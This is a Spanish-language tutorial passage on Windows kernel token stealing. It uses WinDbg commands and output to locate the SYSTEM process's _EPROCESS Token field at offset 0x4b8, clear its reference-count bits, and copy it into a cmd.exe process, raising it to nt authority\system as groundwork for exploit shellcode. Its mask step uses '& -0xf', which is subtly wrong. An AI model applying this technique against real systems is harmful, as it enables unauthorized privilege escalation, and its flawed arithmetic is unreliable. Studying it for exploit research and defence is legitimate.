Token
En windows existe un proceso llamado SYSTEM al cual le pertenece el pid 4, este alberga la mayoria de subprocesos del sistema en modo kernel, dado que alberga la ejecución del código en modo kernel este deberia estar en un contexto de privilegios administrativos por lo que podemos usarlo como base para nuestro shellcode
0: kd> !process 0 0 System
PROCESS ffff8688a5c99080
    SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 001ad000  ObjectTable: ffffb60e7c05bf00  HandleCount: 3042.  
    Image: System
la dirección que nos otorga el primer resultado es la de la estructura _EPROCESS de SYSTEM, entre los atributos de la estructura en el offset 0x4b8 encontramos lo primero interesante para nuestro shellcode, esto es el campo Token del proceso
0: kd> dt nt!_EPROCESS 0xffff8688a5c99080
   +0x000 Pcb              : _KPROCESS
   +0x438 ProcessLock      : _EX_PUSH_LOCK
   +0x440 UniqueProcessId  : 0x00000000`00000004 Void
   +0x448 ActiveProcessLinks : _LIST_ENTRY [ 0xffff8688`a5d084c8 - 0xfffff807`04a1e0d0 ]  
   +0x458 RundownProtect   : _EX_RUNDOWN_REF
   +0x460 Flags2           : 0xd000
   ................................
   +0x4b0 ExceptionPortData : (null) 
   +0x4b0 ExceptionPortValue : 0
   +0x4b0 ExceptionPortState : 0y000
   +0x4b8 Token            : _EX_FAST_REF
El campo Token se muestra como una estructura _EX_FAST_REF, esta almacena 3 atributos entre los cuales cambia solo el tipo de dato, ya que el offset se mantiene
0: kd> dt nt!_EX_FAST_REF
   +0x000 Object           : Ptr64 Void
   +0x000 RefCnt           : Pos 0, 4 Bits  
   +0x000 Value            : Uint8B
En esta estructura se almacena nuestro token, esto podemos verlo accediendo al valor en el offset 0x4b8 del proceso, luego limpiaremos el valor de RefCnt
0: kd> dt nt!_EX_FAST_REF 0xffff8688a5c99080 + 0x4b8
   +0x000 Object           : 0xffffb60e`7c036895 Void  
   +0x000 RefCnt           : 0y0101
   +0x000 Value            : 0xffffb60e`7c036895
El campo RefCnt es igual a 0y0101 que equivale a 5 en decimal, usando and podemos limpiar el ultimo bit, el resultado que obtenemos es 5, lo que nos interesa es el valor opuesto, osea el token con este bit limpio, para usaremos - en 0xf
0: kd> ? 0y0101
Evaluate expression: 5 = 00000000`00000005
0: kd> ? 0xffffb60e7c036895 & 0xf
Evaluate expression: 5 = 00000000`00000005
0:000> ? 0xffffb60e7c036895 & -0xf
Evaluate expression: -81301650315119 = ffffb60e`7c036891  
De esta forma tenemos el token sin procesar, en este punto podemos copiarlo a otro proceso, y nada mejor que hacerlo a una cmd.exe para comprobar su funcionamiento
Microsoft Windows [Versión 10.0.19045.4651]
(c) Microsoft Corporation. Todos los derechos reservados.  
C:\Users\user> whoami
windows\user
C:\Users\user>
Después de generar el proceso identificaremos la dirección del proceso, luego de ello podemos sobrescribir el token por el que conseguimos anteriormente de SYSTEM
0: kd> !process 0 0 cmd.exe
PROCESS ffff8688ad974080
    SessionId: 1  Cid: 1e5c    Peb: c21129d000  ParentCid: 14e0
    DirBase: ac421000  ObjectTable: ffffb60e8166c3c0  HandleCount:  80.
    Image: cmd.exe
0: kd> eq 0xffff8688ad974080 + 0x4b8 0xffffb60e7c036891  
0: kd> g
Como resultado, al volver a la cmd.exe y comprobar el usuario y privilegios, ahora es nt authority\system ya que hemos suplantado todos los privilegios con el token
C:\Users\user> whoami
nt authority\system
C:\Users\user>
 
          
